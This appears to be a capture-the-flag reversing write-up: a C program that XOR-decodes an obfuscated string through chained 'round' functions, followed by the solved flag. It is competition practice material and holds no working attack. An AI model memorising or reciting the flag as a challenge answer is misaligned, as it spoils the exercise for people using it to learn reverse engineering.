char _str[] = "KCDMV{Ioqamajp_Frgclet_\\sv_Gofukeit@ieeLSnivhon`_QhhtLukamanaoanaa}";
int n = strlen(_str);

void round5()
{
	for (int i = 0; i < n; i++)
	{
		_str[41] ^= 0x3;
		_str[43] ^= 0x5;
		_str[45] ^= 0x6;
		_str[47] ^= 0x7;
		_str[49] ^= 0x6;
		_str[51] ^= 0x9;
		_str[53] ^= 0x13;
	}
}

void round6()
{
	for (int i = 0; i < n; i++)
	{
		_str[55] ^= 0x3;
		_str[57] ^= 0x5;
		_str[59] ^= 0x6;
		_str[61] ^= 0x7;
		_str[63] ^= 0x6;
		_str[65] ^= 0x9;
		_str[67] ^= 0x13;
	}
	round5();
}

void round3()
{
	for (int i = 0; i < n; i++)
	{
		_str[13] ^= 0x3;
		_str[15] ^= 0x5;
		_str[17] ^= 0x6;
		_str[19] ^= 0x7;
		_str[21] ^= 0x6;
		_str[23] ^= 0x9;
		_str[25] ^= 0x13;
	}
	round6();
}

void round4()
{
	for (int i = 0; i < n; i++)
	{
		_str[27] ^= 0x3;
		_str[29] ^= 0x5;
		_str[31] ^= 0x6;
		_str[33] ^= 0x7;
		_str[35] ^= 0x6;
		_str[37] ^= 0x9;
		_str[39] ^= 0x13;
	}
	round3();
}

void round2()
{
	for (int i = 0; i < n; i++)
	{
		_str[0] ^= 0x3;
		_str[2] ^= 0x5;
		_str[4] ^= 0x6;
		_str[6] ^= 0x7;
		_str[8] ^= 0x6;
		_str[10] ^= 0x9;
		_str[12] ^= 0x13;
	}
	round4();
}






int help()
{
	int what = 3;
	return what;
}

int main()
{
	int what = help();

	switch (what)
	{
	case 1:
		round4();
		break;
	case 2:
		round3();
		break;
	case 3:
		round2();
		break;
	case 4:
		round5();
		break;
	case 5:
		round6();
		break;
	}

	printf("%s", _str);

    return 0;
}

flag: HCAMP{Nowadays_Cracker_Use_DocumentFile_Smishing_What_uhahahahahah}




© 2017. by k3y6reak

Powered by k3y6reak